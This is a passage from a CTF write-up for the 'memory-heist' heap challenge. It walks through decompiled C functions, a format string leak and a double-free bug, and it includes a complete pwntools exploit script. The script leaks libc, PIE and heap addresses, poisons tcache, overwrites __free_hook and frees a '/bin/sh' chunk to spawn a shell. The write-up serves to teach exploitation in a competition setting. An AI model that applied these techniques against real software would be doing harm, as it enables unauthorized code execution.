  <span class="o">*</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chunks</span> <span class="o">+</span> <span class="n">nbytes</span> <span class="o">+</span> <span class="mi">159</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">memcpy</span><span class="p">((</span><span class="o">&amp;</span><span class="n">chunks</span><span class="p">)[</span><span class="n">idx</span><span class="p">],</span> <span class="mh">0x4100</span><span class="p">,</span> <span class="n">nbytes</span><span class="p">);</span>       <span class="c1">// smash &amp;chunks + idx?</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Saved."</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">)</span> <span class="o">^</span> <span class="n">canary</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So, looks like how we would expect; we enter <code class="language-plaintext highlighter-rouge">idx</code>, <code class="language-plaintext highlighter-rouge">nbytes</code> and then input contents, although the way contents is received is a little strange; first data is read from stdin into <code class="language-plaintext highlighter-rouge">.bss</code> rather than first <code class="language-plaintext highlighter-rouge">malloc()</code>ing a chunk of size <code class="language-plaintext highlighter-rouge">nbytes</code> and THEN reading data in from there. Doing it this way allows us to write as much data into <code class="language-plaintext highlighter-rouge">.bss</code> as we want, and although there’s nothing interesting you could do with this its still a little strange.</p>

<p>Anyway, if our <code class="language-plaintext highlighter-rouge">idx</code> doesn’t stray OOB, and the current slot is not occupied we are able to store our allocated memory there, our input is then read into + copied from <code class="language-plaintext highlighter-rouge">.bss</code> to our allocation after first being null terminated (I’m sort of sure that’s what <code class="language-plaintext highlighter-rouge">*(&amp;chunks + nbytes + 159) = 0;</code> is doing, anyway).</p>

<p>So summed up, <code class="language-plaintext highlighter-rouge">allocate()</code> does a couple things:</p>
<ul>
  <li>Take <code class="language-plaintext highlighter-rouge">idx</code>, <code class="language-plaintext highlighter-rouge">nbytes</code>, and chunk Contents.</li>
  <li>Verify our <code class="language-plaintext highlighter-rouge">idx</code> does not go OOB and that we aren’t replacing an allocation which is in use.</li>
  <li>If we abide by the rules above, copy our contents into our <code class="language-plaintext highlighter-rouge">allocation</code>.</li>
</ul>

<p>Lets move on to the next function, <code class="language-plaintext highlighter-rouge">print()</code>.</p>

<h2 id="print">print()</h2>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="nf">print</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">idx1</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-28h] BYREF</span>
  <span class="n">__int64</span> <span class="n">isPCT</span><span class="p">;</span> <span class="c1">// [rsp+10h] [rbp-20h]</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">chr</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-18h]</span>
  <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span> <span class="c1">// [rsp+20h] [rbp-10h] BYREF</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">canary</span><span class="p">;</span> <span class="c1">// [rsp+28h] [rbp-8h]</span>

  <span class="n">canary</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">chr</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Re-visting memories comes at a cost."</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Should you choose to accept to re-visit, half of your memories will be lost."</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"[Y/N]&gt; "</span><span class="p">);</span>
  <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">6uLL</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'N'</span> <span class="o">||</span> <span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'n'</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Thats alright."</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Index&gt; "</span><span class="p">);</span>
    <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%lu"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">idx1</span><span class="p">);</span>               <span class="c1">// idx not checked here</span>
    <span class="n">chr</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chunks</span> <span class="o">+</span> <span class="n">idx1</span><span class="p">);</span>                    <span class="c1">// uaf here</span>
    <span class="n">isPCT</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span> <span class="o">*</span><span class="n">chr</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="n">chr</span> <span class="o">==</span> <span class="sc">'%'</span> <span class="p">)</span>
        <span class="n">isPCT</span> <span class="o">=</span> <span class="mi">1LL</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span> <span class="n">isPCT</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="n">chr</span> <span class="o">==</span> <span class="sc">'n'</span> <span class="p">)</span>
      <span class="p">{</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Whoaa! Whatcha doin'?"</span><span class="p">);</span>
        <span class="n">_exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
      <span class="p">}</span>
      <span class="o">++</span><span class="n">chr</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Contents:"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chunks</span> <span class="o">+</span> <span class="n">idx1</span><span class="p">));</span>                  <span class="c1">// fmt string vuln</span>
    <span class="k">for</span> <span class="p">(</span> <span class="n">idx1</span> <span class="o">&amp;=</span> <span class="mi">1u</span><span class="p">;</span> <span class="n">idx1</span> <span class="o">&lt;=</span> <span class="mh">0xB</span><span class="p">;</span> <span class="n">idx1</span> <span class="o">+=</span> <span class="mi">2LL</span> <span class="p">)</span>
      <span class="o">*</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chunks</span> <span class="o">+</span> <span class="n">idx1</span><span class="p">)</span> <span class="o">=</span> <span class="err">'</span><span class="n">Timaohw</span><span class="err">'</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">)</span> <span class="o">^</span> <span class="n">canary</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We print the all too familiar prompt, then ask for a choice, <code class="language-plaintext highlighter-rouge">[Y/N]</code>. Choosing <code class="language-plaintext highlighter-rouge">N</code>/<code class="language-plaintext highlighter-rouge">n</code> simply returns us to the command loop, but any other char will take us forward.</p>

<p>We read an <code class="language-plaintext highlighter-rouge">idx</code>. Interestingly enough (though not relevant for our exploit) is that said <code class="language-plaintext highlighter-rouge">idx</code> is not checked for OOB. I’m not sure if this is a feature of the challenge for not, but this allows you to specify an arbitrary <code class="language-plaintext highlighter-rouge">idx</code> which will then be printed from.</p>

<p>Next we get the corresponding pointer for the given <code class="language-plaintext highlighter-rouge">idx</code> and iterate through the contents of our chunk, if we give <code class="language-plaintext highlighter-rouge">%n</code> as part of our buffer during <code class="language-plaintext highlighter-rouge">allocate()</code>, we will exit the program upon detecting that (format string incoming).</p>

<p>After this we pass our chunk contents directly into <code class="language-plaintext highlighter-rouge">printf</code>. Here is our format string bug, like the challenge description promised - but with the constraint that no <code class="language-plaintext highlighter-rouge">%n</code> is allowed, so no writing memory using this. Like promised at the start of the program, we will now lose half of our <code class="language-plaintext highlighter-rouge">memories</code>, in this case being our chunks. The string “whoamIT” will be written to half of our chunk slots, making them effectively useless.</p>

<p>Once placed here, these cannot be cleared, which means we cant use these slots for any more allocations, and we certainly cant free/delete them, as we will see soon.</p>

<p>Anyhow, we then check the canary and are returned to our command loop, but this time with serious <code class="language-plaintext highlighter-rouge">amnesia</code>… Haha geddit? Because memories?????? Okay I’ll stop.</p>

<h2 id="delete">delete()</h2>

<p>Finally we come to the crux of the issue, and arguably the most important function in our program. We come to the UAF:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="nf">delete</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// [rsp+0h] [rbp-10h] BYREF</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-8h]</span>

  <span class="n">v2</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">v1</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Enter the index."</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%lu"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v1</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">v1</span> <span class="o">&gt;</span> <span class="mh">0xB</span> <span class="o">||</span> <span class="o">!*</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chunks</span> <span class="o">+</span> <span class="n">v1</span><span class="p">)</span> <span class="o">||</span> <span class="o">*</span><span class="n">free_hook</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Duh!"</span><span class="p">);</span>
    <span class="n">_exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">free</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="o">&amp;</span><span class="n">chunks</span> <span class="o">+</span> <span class="n">v1</span><span class="p">));</span>                        <span class="c1">// free'd, but not cleared. ALSO not checked if freed previously</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Done."</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">)</span> <span class="o">^</span> <span class="n">v2</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This function is pretty small, and all it does is validate, again that we don’t go OOB, then <code class="language-plaintext highlighter-rouge">free()</code>s a chunk in a given <code class="language-plaintext highlighter-rouge">idx</code> slot. It also checks if the <code class="language-plaintext highlighter-rouge">__free_hook</code> has been overwritten, and this is something we will need to bypass later.</p>

<p>You may notice a couple things, and if you have props to you, because I didn’t see this until very, very late in the CTF. We do not check the validity of any pointer we <code class="language-plaintext highlighter-rouge">free()</code>. This, combined with the fact that <code class="language-plaintext highlighter-rouge">free()</code>d chunks are never cleared could allow us to free a chunk twice. During the period between when it was last <code class="language-plaintext highlighter-rouge">free()</code>d we could have replaced crucial chunk metadata such as the size. This is what our exploit abuses.</p>

<p>With a combination of tricks with heap consolidation and <code class="language-plaintext highlighter-rouge">unsorted</code> bin chunks, we are able to write into <code class="language-plaintext highlighter-rouge">__free_hook</code>. Lets take a look at how this is achieved, shall we?</p>

<h1 id="exploitation">Exploitation</h1>

<p>So lets take a look at the script, minus the insane amount of comments I made trying to understand this, shall we?</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>                                                                                                                    

<span class="n">binary</span> <span class="o">=</span> <span class="s">"./memory-heist"</span>
<span class="c1">#script = '''
#
#b *main-0x5f
#'''
</span>
<span class="c1"># muh debugging
</span><span class="k">def</span> <span class="nf">attach_stop</span><span class="p">(</span><span class="n">p</span><span class="p">):</span>
    <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
    <span class="nb">raw_input</span><span class="p">()</span>

<span class="c1"># allocate a chunk
</span><span class="k">def</span> <span class="nf">alloc</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">size</span><span class="p">,</span><span class="n">data</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="s">'1'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">'Memory&gt; '</span><span class="p">,</span><span class="n">data</span><span class="p">)</span>

<span class="c1"># free a chunk
</span><span class="k">def</span> <span class="nf">sice</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="s">'2'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>

<span class="c1"># view a chunk - this also wipes out half of our `chunks` array
</span><span class="k">def</span> <span class="nf">view</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">kek</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="s">'3'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'[Y/N]&gt; '</span><span class="p">,</span><span class="n">kek</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">':'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>

<span class="c1"># start
</span><span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">binary</span><span class="p">)</span>
    <span class="c1">#p = remote('35.244.10.136', 10253)
</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x208</span><span class="p">,</span><span class="s">'AA'</span><span class="p">)</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="mh">0x2000</span><span class="p">,</span><span class="s">'AA'</span><span class="p">)</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">9</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="s">'AAAA'</span><span class="p">)</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="s">'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'</span><span class="p">)</span> <span class="c1"># leaky chunk
</span>
    <span class="n">sice</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span>

    <span class="n">sice</span><span class="p">(</span><span class="mi">9</span><span class="p">)</span> <span class="c1"># tcache
</span>
    <span class="n">leaks</span> <span class="o">=</span> <span class="n">view</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span><span class="s">'a'</span><span class="p">).</span><span class="n">strip</span><span class="p">()</span>
    <span class="k">print</span><span class="p">(</span><span class="n">leaks</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">))</span>
    <span class="n">heap_base</span> <span class="o">=</span> <span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span> <span class="o">+</span> <span class="n">leaks</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)[</span><span class="mi">8</span><span class="p">],</span><span class="mi">0</span><span class="p">)</span><span class="o">&amp;</span><span class="mh">0xfffffffffffff000</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x2000</span>
    <span class="n">pie_base</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span> <span class="o">+</span> <span class="n">leaks</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)[</span><span class="mi">5</span><span class="p">],</span><span class="mi">0</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x11b0</span>
    <span class="n">libc_base</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span> <span class="o">+</span> <span class="n">leaks</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)[</span><span class="mi">15</span><span class="p">],</span><span class="mi">0</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x270b3</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Heap base: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Pie leak: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">pie_base</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Libc base: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x500</span><span class="p">,</span> <span class="s">'AA'</span><span class="p">)</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x500</span><span class="p">,</span> <span class="s">'AA'</span><span class="p">)</span>

    <span class="n">sice</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">sice</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x2000</span><span class="p">,</span> <span class="sa">b</span><span class="s">'A'</span><span class="o">*</span><span class="mh">0x508</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x111</span><span class="p">))</span>

    <span class="n">sice</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
    <span class="n">sice</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mh">0x2000</span><span class="p">,</span> <span class="sa">b</span><span class="s">'A'</span><span class="o">*</span><span class="mh">0x508</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x111</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">pie_base</span> <span class="o">+</span> <span class="mh">0x4060</span><span class="p">))</span>
    <span class="n">alloc</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="sa">b</span><span class="s">'A'</span><span class="p">)</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">*</span><span class="mi">11</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">heap_base</span> <span class="o">+</span> <span class="mh">0x400</span><span class="p">))</span>

    <span class="n">sice</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x280</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\1</span><span class="s">'</span><span class="o">*</span><span class="mh">0x80</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x1eeb20</span><span class="p">))</span>

    <span class="n">alloc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="sa">b</span><span class="s">'/bin/sh</span><span class="se">\0</span><span class="s">'</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x55410</span><span class="p">))</span>
    <span class="n">sice</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Lets walk through, step by step.</p>

<p>Firstly we have a set of helper functions:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># muh debugging
</span><span class="k">def</span> <span class="nf">attach_stop</span><span class="p">(</span><span class="n">p</span><span class="p">):</span>
    <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
    <span class="nb">raw_input</span><span class="p">()</span>

<span class="c1"># allocate a chunk
</span><span class="k">def</span> <span class="nf">alloc</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">size</span><span class="p">,</span><span class="n">data</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="s">'1'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">'Memory&gt; '</span><span class="p">,</span><span class="n">data</span><span class="p">)</span>

<span class="c1"># free a chunk
</span><span class="k">def</span> <span class="nf">sice</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="s">'2'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>

<span class="c1"># view a chunk - this also wipes out half of our `chunks` array
</span><span class="k">def</span> <span class="nf">view</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">kek</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="s">'3'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'[Y/N]&gt; '</span><span class="p">,</span><span class="n">kek</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">'&gt; '</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">':'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
</code></pre></div></div>

<p>These <em>primitives</em> are here to make it incredibly easy to perform operations on the heap of the target, we have one for each function: <code class="language-plaintext highlighter-rouge">alloc</code> for allocating chunks, <code class="language-plaintext highlighter-rouge">view</code> for printing chunk contents, and <code class="language-plaintext highlighter-rouge">sice</code>/<code class="language-plaintext highlighter-rouge">free</code> for <code class="language-plaintext highlighter-rouge">free()</code>ing chunks.</p>

<p>Its important to mention that due to the behavior of the <code class="language-plaintext highlighter-rouge">print()</code> function we cant use the <code class="language-plaintext highlighter-rouge">view</code> function more than once; since its already hard enough to exploit with the limited slots we have left from one call.</p>

<p>Firstly, we start the binary, and make 4 allocations:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">alloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x208</span><span class="p">,</span><span class="s">'AA'</span><span class="p">)</span>

<span class="n">alloc</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="mh">0x2000</span><span class="p">,</span><span class="s">'AA'</span><span class="p">)</span>

<span class="n">alloc</span><span class="p">(</span><span class="mi">9</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="s">'AAAA'</span><span class="p">)</span>

<span class="n">alloc</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">,</span> <span class="s">'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'</span><span class="p">)</span> <span class="c1"># leaky chunk
</span></code></pre></div></div>

<p>The first allocation exists only to box in allocation ‘7’ such that it will not be consumed - if you cant already tell, ‘7’ will be very important for our exploit to come. 7 is also an <code class="language-plaintext highlighter-rouge">unsorted</code> bin chunk when free’d, making it able to be re-used with other chunks (this fact is also very important).</p>

<p>We then make another allocation in ‘9’ which also functions as a “box” so that our chunk will not be consumed and another in ‘11’.</p>

<h2 id="leaks">Leaks</h2>

<p>The chunk in ‘11’ will be passed to <code class="language-plaintext highlighter-rouge">printf</code> in <code class="language-plaintext highlighter-rouge">print()</code> and will leak us all the pointers we need from the stack for our exploit.</p>

<p>We can see this here:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sice</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span>

<span class="n">sice</span><span class="p">(</span><span class="mi">9</span><span class="p">)</span> <span class="c1"># tcache
</span>
<span class="n">leaks</span> <span class="o">=</span> <span class="n">view</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span><span class="s">'a'</span><span class="p">).</span><span class="n">strip</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">leaks</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">))</span>
<span class="n">heap_base</span> <span class="o">=</span> <span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span> <span class="o">+</span> <span class="n">leaks</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)[</span><span class="mi">8</span><span class="p">],</span><span class="mi">0</span><span class="p">)</span><span class="o">&amp;</span><span class="mh">0xfffffffffffff000</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x2000</span>
<span class="n">pie_base</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span> <span class="o">+</span> <span class="n">leaks</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)[</span><span class="mi">5</span><span class="p">],</span><span class="mi">0</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x11b0</span>
<span class="n">libc_base</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span> <span class="o">+</span> <span class="n">leaks</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">'0x'</span><span class="p">)[</span><span class="mi">15</span><span class="p">],</span><span class="mi">0</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0x270b3</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Heap base: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">heap_base</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Pie leak: </span><span class="si">{</span><span class="nb">hex</span><span class="p">(</span><span class="n">pie_base</span><span class="p">)</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
